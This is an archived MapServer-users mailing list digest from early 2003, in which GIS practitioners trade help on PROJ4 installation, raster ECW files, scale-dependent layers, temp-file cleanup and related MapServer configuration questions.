************************************************ Dylan Keon GIS/Database Research Specialist Northwest Alliance for Computational Science and Engineering (NACSE) Oregon State University Corvallis, OR 97331 keon at nacse.org (541) 737-6608 ************************************************ _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From jpmclaro at yahoo.com.br Mon Jan 27 13:07:51 2003 From: jpmclaro at yahoo.com.br (=?iso-8859-1?Q?Jo=E3o_Paulo_M._Claro?=) Date: Mon, 27 Jan 2003 19:07:51 -0200 Subject: [Mapserver-users] MapServer Message-ID: <005401c2c648$2835e1c0$cb75e7c8@afxtd2002311172> This is a multi-part message in MIME format. ------=_NextPart_000_0051_01C2C637.63648C30 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Dears, I am starting to use the MapServer with the MapLab, and would like to = know which the specification of a serving PC to twirl this application.=20 Thanks Jo=E3o Paulo Brasil ------=_NextPart_000_0051_01C2C637.63648C30 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Dears,
I=20 am starting to use the MapServer with the MapLab, and would like to know = which=20 the specification of a serving PC to twirl this application. =
 
  Thanks
 
  Jo=E3o Paulo
  = Brasil
------=_NextPart_000_0051_01C2C637.63648C30-- _______________________________________________________________________ Busca Yahoo! O servi?o de busca mais completo da Internet. O que voc? pensar o Yahoo! encontra. http://br.busca.yahoo.com/ From samgoody at softhome.net Mon Jan 27 13:18:44 2003 From: samgoody at softhome.net (Sam Gooding) Date: Mon, 27 Jan 2003 15:18:44 -0600 Subject: [Mapserver-users] FAQ Question Message-ID: Hello again! Just wanted to send out some thanks first of all for the quick and timely response that I got on my last question. Mapserver WorkBench looks like a great tool. I had another question that I was hoping someone might have an idea on. I checked the FAQ on this issue, and it is listed: "My WMS server produces the error "msProcessProjection(): no system list, errno: .." (http://mapserver.gis.umn.edu/doc/mdp-howto-template.html#d45e407) The response says that the "epsg" projection definition file file must be installed and be in the right location, '/usr/local/share/proj/'. I do not have root access however, and so I installed PROJ4 to a directory in my home directory (/home/sgoody/install). What I would like to know is, is there any way for me to fix this issue without having my administrator configure and compile mapserv for me? Thanks again! From morissette at dmsolutions.ca Mon Jan 27 13:30:27 2003 From: morissette at dmsolutions.ca (Daniel Morissette) Date: Mon, 27 Jan 2003 16:30:27 -0500 Subject: [Mapserver-users] FAQ Question References: Message-ID: <3E35A4F3.653C9A78@dmsolutions.ca> Sam Gooding wrote: > > (http://mapserver.gis.umn.edu/doc/mdp-howto-template.html#d45e407) > > The response says that the "epsg" projection definition file file > must be installed and be in the right location, > '/usr/local/share/proj/'. I do not have root access however, and so > I installed PROJ4 to a directory in my home directory > (/home/sgoody/install). > > What I would like to know is, is there any way for me to fix this > issue without having my administrator configure and compile mapserv > for me? > Yes, you can configure PROJ4 using "--prefix=/home/sgoody/install" and then when you 'make install' to install PROJ4 the epsg file will end up in /home/sgoody/install/share/epsg. Then relink your MapServer using the new PROJ4 library and it should find the epsg and other support files. Another option if you don't want to recompile would be to set the PROJ_LIB environment variable I think... but I'm not sure whether this environment variable works on Unix. You may have to do some research to find out more about this one. Daniel -- ------------------------------------------------------------ Daniel Morissette morissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From mladen.kotarac at ckff.si Mon Jan 27 13:46:50 2003 From: mladen.kotarac at ckff.si (Mladen Kotarac) Date: Mon, 27 Jan 2003 22:46:50 +0100 Subject: [Mapserver-users] Re: MySQL Message-ID: <3E35A8CA.4000700@ckff.si> Attila Csipa pravi: > > > > When the postgis implementation on mysql will be available (not sure if that will be in 4.1) it will most probably be supported with mysql, so I was told. The changelog for 4.1 reads promising (the code is incorporated) and it it is stated that binaries should be available soon: http://www.mysql.com/downloads/mysql-4.1.html Looking forward, Mladen From tbartlett at dddd.com.au Mon Jan 27 13:58:38 2003 From: tbartlett at dddd.com.au (Thomas Bartlett) Date: Tue, 28 Jan 2003 08:58:38 +1100 Subject: [Mapserver-users] MapServer Web Hosting Message-ID: <005101c2c64f$3fbd1eb0$1701a8c0@dddd.com.au> This is a multi-part message in MIME format. ------=_NextPart_000_004E_01C2C6AB.72B8DBE0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable G'Day all, Does anyone know of a free web hoster which will allow MapServer to run = (ie they allow executables to run server-side). Ideally I want an = Windows server, but any suggestions are most appreciated !!! Regard=20 Thomas Bartlett -------------------------------------------------------------------------= --------------------------------- GIS Technician Postal : PO Box 683 MAWSON ACT 2607 ------=_NextPart_000_004E_01C2C6AB.72B8DBE0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
G'Day all,
 
Does anyone know of a free web hoster which will = allow=20 MapServer to run (ie they allow executables to run server-side).  = Ideally I=20 want an Windows server, but any suggestions are most appreciated=20 !!!
 
Regard 
Thomas=20 Bartlett
-------------------------------------------------------------= ---------------------------------------------
GIS=20 Technician
Postal : PO Box 683 MAWSON  ACT =20 2607
------=_NextPart_000_004E_01C2C6AB.72B8DBE0-- From assefa at dmsolutions.ca Mon Jan 27 14:03:40 2003 From: assefa at dmsolutions.ca (Yewondwossen Assefa) Date: Mon, 27 Jan 2003 17:03:40 -0500 Subject: [Mapserver-users] Program to clean up *gif files References: <4ACBA1414DD9EE418CC250E4AAA9035AADBD24@STL-EXBE-I03.corp.erac.com> Message-ID: <3E35ACBB.5476157@dmsolutions.ca> The defualt value is set to 1 hour but can be modifued on the command line : deltmpfiles [hour] "Martin, Daniel" wrote: > I tried the DM Solutions exe. It works as advertised. It obviously takes > into consideration the age of the file, and only deletes things that are > older than some amount of time. That's excellent, considering problems > might occur if you delete a map while someone is actively downloading the > image. > > For curiosity's sake, could Daniel or anyone else at DM Solutions say what > that amount of time is? > > Thanks, > Dan > > -----Original Message----- > From: Dylan Keon [mailto:keon at nacse.org] > Sent: Monday, January 27, 2003 2:30 PM > To: John Rubin > Cc: mapserver-users at lists.gis.umn.edu > Subject: Re: [Mapserver-users] Program to clean up *gif files > > John Rubin wrote: > > Can anyone recommend a program to automatically erase gif files created by > mapserver in the ../tmp directory? We are looking for a program for both > windows and Unix. > > > > For Unix, it's best to run a shell script through the cron utility. > There is more info at http://mapserver.gis.umn.edu/doc36/manage.html > > For Windows, DM Solutions has a .exe file available at > http://www2.dmsolutions.on.ca/webtools/dl/deltmpfiles.zip > > --Dylan > > -- > ************************************************ > Dylan Keon > GIS/Database Research Specialist > Northwest Alliance for Computational > Science and Engineering (NACSE) > Oregon State University > Corvallis, OR 97331 > keon at nacse.org (541) 737-6608 > ************************************************ > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users -- ---------------------------------------------------------------- Assefa Yewondwossen Software Analyst Email: assefa at dmsolutions.ca http://www.dmsolutions.ca/ Phone: (613) 565-5056 (ext 14) Fax: (613) 565-0925 ---------------------------------------------------------------- From samgoody at softhome.net Mon Jan 27 14:29:05 2003 From: samgoody at softhome.net (Sam Gooding) Date: Mon, 27 Jan 2003 16:29:05 -0600 Subject: [Mapserver-users] FAQ Question In-Reply-To: <3E35A4F3.653C9A78@dmsolutions.ca> References: <3E35A4F3.653C9A78@dmsolutions.ca> Message-ID: At 4:30 PM -0500 1/27/03, Daniel Morissette wrote: >Sam Gooding wrote: >> >> (http://mapserver.gis.umn.edu/doc/mdp-howto-template.html#d45e407) >> >> The response says that the "epsg" projection definition file file >> must be installed and be in the right location, >> '/usr/local/share/proj/'. I do not have root access however, and so >> I installed PROJ4 to a directory in my home directory >> (/home/sgoody/install). >> >> What I would like to know is, is there any way for me to fix this >> issue without having my administrator configure and compile mapserv >> for me? >> > >Yes, you can configure PROJ4 using "--prefix=/home/sgoody/install" and >then when you 'make install' to install PROJ4 the epsg file will end up >in /home/sgoody/install/share/epsg. Then relink your MapServer using >the new PROJ4 library and it should find the epsg and other support >files. > >Another option if you don't want to recompile would be to set the >PROJ_LIB environment variable I think... but I'm not sure whether this >environment variable works on Unix. You may have to do some research to >find out more about this one. I recompiled the PROJ4 libraries using the following commands and received no errors: ./configure --prefix=/home/sgoody/install make install Then I proceeded to recompile mapserv using the following commands and also received no errors: ./configure --with-jpeg --with-gd --with-freetype --enable-force-freetype1 --with-zlib --with-png --with-tiff --with-proj=/home/sgoody/install --with-wmsclient=/home/sgoody/install/bin --enable-runpath make all However when I try to use the WMS client I still receive the following error: msProcessProjection(): no system list, errno:13 Thanks. >Daniel >-- >------------------------------------------------------------ > Daniel Morissette morissette at dmsolutions.ca > DM Solutions Group http://www.dmsolutions.ca/ >------------------------------------------------------------ >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From sgillies at frii.com Mon Jan 27 15:08:46 2003 From: sgillies at frii.com (Sean Gillies) Date: Mon, 27 Jan 2003 16:08:46 -0700 Subject: [Mapserver-users] For MapScript + Zope users, ZMapServer 0.3 Message-ID: <49A040AC-324C-11D7-AB5C-000393B98B56@frii.com> Greetings, Those that downloaded the earlier release of ZMapServer and found it at all interesting will want to see the newest release. There are Zope wrappers for the layer and class objects and better methods for editing map, layer, and class properties through the Zope management interface. I've made the choice to build ZMapServer on the development MapServer (3.7) and have dropped support for 3.6. To complicate things a bit further, you'll either need to download and build the most recent MapScript (one new function in mapscript.i) from CVS or patch mapscript.i, adding the new method cleanPens(): extend mapObj { ... void cleanPens() { msClearPenValues(self); } ... The release, more info, and screenshots for those who haven't access to a ZServer are available at: http://www.frii.com/~sgillies/projects/zmapserver/ cheers, Sean -- Sean Gillies sgillies at frii.com http://www.frii.com/~sgillies From warmerdam at pobox.com Mon Jan 27 15:32:26 2003 From: warmerdam at pobox.com (Frank Warmerdam) Date: Mon, 27 Jan 2003 18:32:26 -0500 Subject: [Mapserver-users] FAQ Question In-Reply-To: References: <3E35A4F3.653C9A78@dmsolutions.ca> Message-ID: <3E35C18A.20700@pobox.com> Sam Gooding wrote: > I recompiled the PROJ4 libraries using the following commands and > received no errors: > > ./configure --prefix=/home/sgoody/install > > make install Sam, I trust you did a make clean before the make install, right? When compiling PROJ.4 (specifically src/pj_open_lib.c) was there a "-DPROJ_LIB=..." on the compile command line? Did it point to the directory where the epsg translation file got installed? > Then I proceeded to recompile mapserv using the following commands and > also received no errors: > > ./configure --with-jpeg --with-gd --with-freetype > --enable-force-freetype1 --with-zlib --with-png --with-tiff > --with-proj=/home/sgoody/install > --with-wmsclient=/home/sgoody/install/bin --enable-runpath Note you don't have to recompile MapServer when fiddling with the PROJ.4 installation. I would suggest verifying the finding of the EPSG translation file with the PROJ.4 commandline program. eg. warmerda at gdal2200[137]% cs2cs +init=epsg:4121 +to +init=epsg:4326 0 0 0d0'2.419"E 0d0'8.03"N -199.865 I would add that errno=13 is apparently EACCESS indicating a permissions problem, not that the file doesn't exist. Perhaps whatever user your mapserver/apache runs as (nobody?) does not have read/execute permissions down to the directory and files in question? Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From lyndon.zimmermann at adelaide.edu.au Mon Jan 27 17:12:22 2003 From: lyndon.zimmermann at adelaide.edu.au (Lyndon Zimmermann) Date: Tue, 28 Jan 2003 11:42:22 +1030 Subject: [Mapserver-users] ECW files References: <3E34EF2A.5040006@ckff.si> Message-ID: <3E35D8F6.569579B3@adelaide.edu.au> Greetings all, I'd like to use an ecw file in a Mapserver application and need some clues. I'm using Mapserver 3.6 binary on a Windows NT box. It's all running happily, though all files are presented unprojected. Firstly, http://www.remotesensing.org/gdal/frmt_ecw.html doco says maximum ecw filesize is 500MB, and the dataset is larger than that. Any clues on software that can uncompress, clip and recompress? Secondly, doco says certain SDK dll's are required and suggests location in the 'same directory as the GDAL DLL'. I found the SDK library, but I can't find the GDAL DLL on my machine. Where does the GDAL come from? Thirdly, I'm worried about projection. The ecw is in UTM Zone 53 South GDA94 (=WGS84 horizontally) and I want to project to Albers, already configured. I this object adequate: LAYER NAME "mtlofty_ecw" DATA "MtLoftyRanges.ecw" TYPE RASTER STATUS ON PROJECTION "proj=utm" "ellps=WGS84" "datum=WGS84" "units=m" "zone=53" "south" "no_defs" END END ? Regards, Lyndon Z Adelaide, Australia From rich at greenwoodmap.com Mon Jan 27 18:27:54 2003 From: rich at greenwoodmap.com (Richard Greenwood) Date: Mon, 27 Jan 2003 19:27:54 -0700 Subject: [Mapserver-users] ECW files In-Reply-To: <3E35D8F6.569579B3@adelaide.edu.au> References: <3E34EF2A.5040006@ckff.si> Message-ID: <5.2.0.9.0.20030127191610.00a7a340@mail.greenwoodmap.com> --=======748E4F2B======= Content-Type: text/plain; x-avg-checked=avg-ok-53426139; charset=us-ascii; format=flowed Content-Transfer-Encoding: 8bit At 11:42 AM 1/28/2003 +1030, you wrote: >Greetings all, > >I'd like to use an ecw file in a Mapserver application and need some >clues. > >I'm using Mapserver 3.6 binary on a Windows NT box. It's all running >happily, though all files are presented unprojected. > >Firstly, http://www.remotesensing.org/gdal/frmt_ecw.html doco says >maximum ecw filesize is 500MB, and the dataset is larger than that. >Any clues on software that can uncompress, clip and recompress? http://www.ermapper.com/ has free uncompress and compress tools. The viewer (which does the uncompression) can write out a world file. GRASS is my choice for clipping or tiling. And I think there are some performance advantages in using a tiled set of images even when using sophisticated compression like ECW or MrSID. >Secondly, doco says certain SDK dll's are required and suggests >location in the 'same directory as the GDAL DLL'. I found the SDK >library, but I can't find the GDAL DLL on my machine. Where does the >GDAL come from? http://www.remotesensing.org/gdal/ >Thirdly, I'm worried about projection. The ecw is in UTM Zone 53 >South GDA94 (=WGS84 horizontally) and I want to project to Albers, >already configured. I this object adequate: Be sure you set Albers in the main section of your map file (outside of a layer definition). You might consider reprojecting from UTM to Albers when you tile. >LAYER > NAME "mtlofty_ecw" > DATA "MtLoftyRanges.ecw" > TYPE RASTER > STATUS ON > PROJECTION > "proj=utm" > "ellps=WGS84" > "datum=WGS84" > "units=m" > "zone=53" > "south" > "no_defs" > END >END > >? > >Regards, > >Lyndon Z >Adelaide, Australia >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users Richard W. Greenwood, PLS (307) 733-0203 Rich at GreenwoodMap.com www.GreenwoodMap.com --=======748E4F2B=======-- From schick at sdac.hannover.bgr.de Tue Jan 28 02:51:28 2003 From: schick at sdac.hannover.bgr.de (Agneta Schick) Date: Tue, 28 Jan 2003 11:51:28 +0100 (MET) Subject: [Mapserver-users] switching layers when zooming Message-ID: <200301281051.h0SApS509205@b3sn28.hannover.bgr.de> Hello, As long as I was only using only one layer I thought I knew what I was doing. Apparently not... I want to show a layer (1:1000000) and after zooming below 1:250000 switch to a different layer. My solution is define two layers with the same name but different MINSCALE, MAXSCALE: ... LAYER NAME relief DATA graul0.tif TYPE RASTER MAXSCALE 5000000 MINSCALE 250000 STATUS DEFAULT END LAYER NAME relief TILEINDEX index200.shp TILEITEM "dtk200" TYPE RASTER MAXSCALE 250000 STATUS DEFAULT END ... MapScript: my $layer = $map->getLayerByName('relief'); $layer->draw($map, $img); I expected Mapserver to interpret $map->{scale} and show the appropriate map. My result: after zooming below 250000 my layer is empty. Each if the two layers are ok as a single layer and I've checked the contents of $map->{scale} so that's not the problem. Is my whole assumption wrong? Thank you for your help. Agneta Schick ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Agneta Schick Bundesanstalt fuer Geowissenschaften und Rohstoffe Federal Institute for Geosciences and Natural Resources Stilleweg 2 D- 30655 Hannover Tel.: +49 511 643 3136 GERMANY FAX.: +49 511 643 3663 schick at sdac.hannover.bgr.de http://www.seismologie.bgr.de ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From wesp at gdv.com Tue Jan 28 03:15:55 2003 From: wesp at gdv.com (Oliver Wesp) Date: Tue, 28 Jan 2003 12:15:55 +0100 Subject: [Mapserver-users] switching layers when zooming References: <200301281051.h0SApS509205@b3sn28.hannover.bgr.de> Message-ID: <3E36666B.8030600@gdv.com> Maybe the identical layer name causes this effect. Maybe it's better to use the group option. Should be something like this: LAYER NAME relief_highscale GROUP relief . . . END LAYER NAME relief_lowscale GROUP relief . . . END This way you have unique layer names, but you still can handle it as one layer in your application via the group name. Agneta Schick schrieb: > Hello, > > As long as I was only using only one layer I thought I knew what I was doing. > > Apparently not... I want to show a layer (1:1000000) and after zooming > below 1:250000 switch to a different layer. > My solution is define two layers with the same name but different MINSCALE, > MAXSCALE: > ... > LAYER > NAME relief > DATA graul0.tif > TYPE RASTER > MAXSCALE 5000000 > MINSCALE 250000 > STATUS DEFAULT > END > LAYER > NAME relief > TILEINDEX index200.shp > TILEITEM "dtk200" > TYPE RASTER > MAXSCALE 250000 > STATUS DEFAULT > END > ... > MapScript: > my $layer = $map->getLayerByName('relief'); > $layer->draw($map, $img); > > I expected Mapserver to interpret $map->{scale} and show the appropriate > map. My result: after zooming below 250000 my layer is empty. > Each if the two layers are ok as a single layer and I've checked the contents of > $map->{scale} so that's not the problem. > Is my whole assumption wrong? > > Thank you for your help. > Agneta Schick > > > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > Agneta Schick > > Bundesanstalt fuer Geowissenschaften und Rohstoffe > Federal Institute for Geosciences and Natural Resources > Stilleweg 2 > D- 30655 Hannover Tel.: +49 511 643 3136 > GERMANY FAX.: +49 511 643 3663 > > schick at sdac.hannover.bgr.de http://www.seismologie.bgr.de > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > -- Dipl.-Geogr. Oliver Wesp Gesellschaft f?r geografische Datenverarbeitung Binger Strasse 49-51 D-55218 Ingelheim fon: +49 6132 714818 fax: +49 6132 714828 http: www.gdv.com From Gunter.Rieth at stadt.mainz.de Tue Jan 28 05:20:17 2003 From: Gunter.Rieth at stadt.mainz.de (Gunter.Rieth at stadt.mainz.de) Date: Tue, 28 Jan 2003 14:20:17 +0100 Subject: Antwort: Re: [Mapserver-users] switching layers when zooming Message-ID: This is a multipart message in MIME format. ------=_NextPartTM-000-3ab0aa26-329f-11d7-bc9e-0090274d4ab2 Content-Type: multipart/alternative; boundary="=_alternative 004943AFC1256CBC_=" --=_alternative 004943AFC1256CBC_= Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Here you can see one example still working , but you have to watch out the = path and filename in the TILEINDEX file. STATUS ON only because I switch the layers as a group from the html file # Start of layer definitions # LAYER NAME "Stadtplan" DATA "stadtplan/gesamtplan.tif" GROUP Stadtplan TYPE RASTER STATUS ON MINSCALE 85000 MAXSCALE 150000=20 =20 # TRANSPARENCY 20 END # # LAYER NAME "stadtp=5F2x2" TYPE RASTER GROUP Stadtplan TILEINDEX "stadtplan/index=5F2x2.shp" TILEITEM "Location" STATUS ON MINSCALE 500 MAXSCALE 85000=20 TRANSPARENCY 75 END Gunter Rieth KDZ Mainz Hechtsheimer Stra=DFe 35 55131 Mainz Tel: 06131 - 12 - 3557 Fax: 06131 - 12 - 2267 eMail: mailto:Gunter.Rieth at stadt.mainz.de intern: Gunter Rieth/Dez1/Mainz Oliver Wesp Gesendet von: mapserver-users-admin at lists.gis.umn.edu 28.01.2003 12:15 =20 An: Agneta Schick Kopie: mapserver-users at lists.gis.umn.edu Thema: Re: [Mapserver-users] switching layers when zooming Maybe the identical layer name causes this effect. Maybe it's better to=20 use the group option. Should be something like this: LAYER NAME relief=5Fhighscale GROUP relief . . . END LAYER NAME relief=5Flowscale GROUP relief . . . END This way you have unique layer names, but you still can handle it as one=20 layer in your application via the group name. Agneta Schick schrieb: > Hello, >=20 > As long as I was only using only one layer I thought I knew what I was=20 doing. >=20 > Apparently not... I want to show a layer (1:1000000) and after zooming > below 1:250000 switch to a different layer. > My solution is define two layers with the same name but different=20 MINSCALE, > MAXSCALE: > ... > LAYER > NAME relief > DATA graul0.tif > TYPE RASTER > MAXSCALE 5000000 > MINSCALE 250000 > STATUS DEFAULT > END > LAYER > NAME relief > TILEINDEX index200.shp > TILEITEM "dtk200" > TYPE RASTER > MAXSCALE 250000 > STATUS DEFAULT > END > ... > MapScript: > my $layer =3D $map->getLayerByName('relief'); > $layer->draw($map, $img);=20 >=20 > I expected Mapserver to interpret $map->{scale} and show the appropriate > map. My result: after zooming below 250000 my layer is empty. > Each if the two layers are ok as a single layer and I've checked the=20 contents of=20 > $map->{scale} so that's not the problem. > Is my whole assumption wrong? >=20 > Thank you for your help. > Agneta Schick >=20 >=20 >=20 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~= ~~ > Agneta Schick >=20 > Bundesanstalt fuer Geowissenschaften und Rohstoffe > Federal Institute for Geosciences and Natural Resources > Stilleweg 2 > D- 30655 Hannover Tel.: +49 511 643 3136 > GERMANY FAX.: +49 511 643 3663 >=20 > schick at sdac.hannover.bgr.de http://www.seismologie.bgr.de >=20 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~= ~~ >=20 >=20 >=20 > =5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F= =5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >=20 >=20 >=20 --=20 Dipl.-Geogr. Oliver Wesp Gesellschaft f=FCr geografische Datenverarbeitung Binger Strasse 49-51 D-55218 Ingelheim fon: +49 6132 714818 fax: +49 6132 714828 http: www.gdv.com =5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F= =5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users --=_alternative 004943AFC1256CBC_= Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Here you can see one example still w= orking , but you have to watch out the path and filename  in the TILEI= NDEX  file.

STATUS ON only because I switch the = layers as a group from the html file

# Start of layer definitions
#
LAYER
  NAME "Stadtplan"
   DATA "stadtplan/ge= samtplan.tif"
   GROUP Stadtplan
    TYPE RASTER
    STATUS ON
    MINSCALE 85000
    MAXSCALE 150000
   
# TRANSPARENCY  20
END
#
#
LAYER
  NAME "stadtp=5F2x2"=
     TYPE RASTER
     GROUP Stadtplan<= /font>
     TILEINDEX "= stadtplan/index=5F2x2.shp"
     TILEITEM "L= ocation"
     STATUS ON
    MINSCALE 500
    MAXSCALE 85000
   TRANSPARENCY  75

  END


Gunter Rieth

KDZ Mainz
Hechtsheimer Stra=DFe 35
55131 Mainz

Tel:  06131 - 12 - 3557
Fax:  06131 - 12 - 2267
eMail: mailto:Gunter.Rieth at stadt.mainz.de
intern: Gunter Rieth/Dez1/Mainz



jcgarin.dittt at gouv.nc
Envoy=E9 par : owner-mapserver-users= @lists.gis.umn.edu

15/11/02 17:41

       
        Pour : &= nbsp;      mapserver-users at lists.gis.umn.edu
        cc : &nb= sp;      
        Objet : =        [mapserver-users] Supported Databases



Hye,


I am new in MAPSERVER knowledge and making research on the "free"= possibilities of developping a web application for public information and = documents requests on cadastral information. Our data is on ARCGIS - ESRI b= ut we would like not to buy more licence to do this extra website.


I am looking for a list of the supported databases for updating and reading= purposes with MAPSERVER.

Is dbf completly supported ? others common database ?

 
In wich language do it has to be programmed ?


Thanks for your help.


Jean-charles GARIN
Bureau de l'Information G=E9ographique
DITTT
Gouvernement

Nouvelle-Cal=E9donie


--=_alternative 0077EBB44B256CAE_=-- From Mike Tue Jan 14 22:22:55 2003 From: Mike (Mike) Date: Wed, 15 Jan 2003 07:22:55 +0100 Subject: [Mapserver-users] HTML-Legends ??? Message-ID: <006d01c2bc5e$8a738750$111b550a@nt.halle.de> This is a multi-part message in MIME format. ------=_NextPart_000_006A_01C2BC66.EC14D6F0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable hi mapservers, i'm working with mapserver 3.5 with win-binaries on win2000-prof an iis. i can't use the html-legends. i have insert the line: TEMPLATE = "legend.html" in the map-file in the legend-part, but i get following error-message: loadLegend(): Unknown identifier. = (TEMPLATE):(60)=20 hm. ???=20 greetings mikeE. ::: mike.elstermann at itc-halle.de ::: http://www.itc-halle.de ::: = GeoDaten Online? -> http://www.itcgis.de ------=_NextPart_000_006A_01C2BC66.EC14D6F0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
hi mapservers,
 
i'm working with mapserver 3.5 with = win-binaries on=20 win2000-prof an iis.
i can't use the html-legends. i have = insert the=20 line:   TEMPLATE "legend.html" in the map-file in the=20 legend-part,
but i get following error-message: = loadLegend(): Unknown identifier. = (TEMPLATE):(60)=20
 
hm. ???=20
greetings mikeE.

::: mike.elstermann at itc-halle.de= :::=20 http://www.itc-halle.de ::: = GeoDaten=20 Online? -> http://www.itcgis.de
<= /DIV>
------=_NextPart_000_006A_01C2BC66.EC14D6F0-- From vincenzo.patruno at istat.it Wed Jan 15 08:49:22 2003 From: vincenzo.patruno at istat.it (Vincenzo Patruno) Date: Wed, 15 Jan 2003 16:49:22 -0000 Subject: [Mapserver-users] Maplab beginner problem Message-ID: <022801c2bcb6$0e53fc10$492d120a@istat.it> Hi anyone! Probably my problem is stupid, but I cannot sleep because of it!! I'm building up a mapfile using Esri shapefiles that normally you can find in the folder "esridata" after you install Arcview. The problem is when I ask for the preview of my mapfile. In fact, the map is completely blank. I've tried to change the coordinate according to the coordinate of the upper left corner and bottom right corner that I obtain opening my shapefile with Arcexplorer but ... nothing. Any suggestion? Thanks in advance V From brclark at usgs.gov Wed Jan 15 18:06:53 2003 From: brclark at usgs.gov (Brian Clark) Date: Wed, 15 Jan 2003 20:06:53 -0600 Subject: [Mapserver-users] wms client Message-ID: <3E2613BD.20903@usgs.gov> Hey Mapservers, We've built and installed libwww 5.4.0. However, configure returns: "libwww version 5.3.2 or more recent is required" Tried it with: --with-wmsclient=/usr/local/lib, and no errors on configure or make, but also no wmsclient support. OS is Solaris 2.6. Ideas? AdTHANKSvance -- **************************************************************** Brian R. Clark, Hydrologist Email: brclark at usgs.gov U.S. Geological Survey, WRD Phone: (501)228-3655 Arkansas District Fax: (501)228-3601 401 Hardin Road Little Rock, Arkansas 72211 **************************************************************** From shpr at libero.it Thu Jan 16 04:07:27 2003 From: shpr at libero.it (Stefano Bonnin) Date: Thu, 16 Jan 2003 13:07:27 +0100 Subject: [Mapserver-users] problem with gdal Message-ID: <034701c2bd57$de4407c0$0601a8c0@comai.loc> hi, I have compiled mapserver with gdal-1.1.8 and all the "point object" in my point layer are "black"! In the map file I have a layer class like this: CLASS NAME "Ultrasonico" EXPRESSION 'Ultrasonico' SYMBOL "circle" COLOR 0 255 0 ###### This is not black!!!! SIZE 15 TEMPLATE "blank.html" LABEL FONT "arial" TYPE TRUETYPE POSITION lc MINSIZE 10 MAXSIZE 25 COLOR 100 0 45 BACKGROUNDSHADOWCOLOR 128 128 128 ANTIALIAS true END END and all the points are rendered as black point. Why? Any idea? Thanks. Stefano B. --- Outgoing mail is certified Virus Free. (FLASHH!) Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.443 / Virus Database: 248 - Release Date: 10/01/03 From rgrant at nrcan.gc.ca Thu Jan 16 15:32:42 2003 From: rgrant at nrcan.gc.ca (Grant, Ryan) Date: Thu, 16 Jan 2003 18:32:42 -0500 Subject: [Mapserver-users] Flash Interface to mapserver Message-ID: <8AE17DD6AA4FD51191CD0002A551168184BB46@s5-van1-r1.ess.nrcan.gc.ca> Sounds great to me! After talking with Paul Ramsey I've started working a Flash version to work with the CGI implementation. I'll post it once I get anywhere with it.. Ryan -----Original Message----- From: Steve Lime [mailto:steve.lime at dnr.state.mn.us] Sent: Thursday, January 16, 2003 2:53 PM To: Mapserver-users at lists.gis.umn.edu; rgrant at nrcan.gc.ca Subject: Re: [Mapserver-users] Flash Interface to mapserver Don't want to lose this. How 'bout adding/starting a flash section on the wiki? >>> "Grant, Ryan" 01/16/03 01:55PM >>> Hey there. Well it's time I stopped simply leaching from this users-group and add my contribution. I've built a simple flash interface around MapServer 3.6.3. The backend functionality is provided by PHP-Mapscript. On the page is a link to a zip file containing all of the relevant code. Feel free to use anything you want. I couldn't have been here without the help and knowledge gleamed from this users group. I would appreciate any bug reports, feedback, suggestions, etc. I've tested on IE6, Netscape7, and lightly tested on a Mac and so far all is well. http://132.156.108.209/FlashMap/FlashMapServer.html 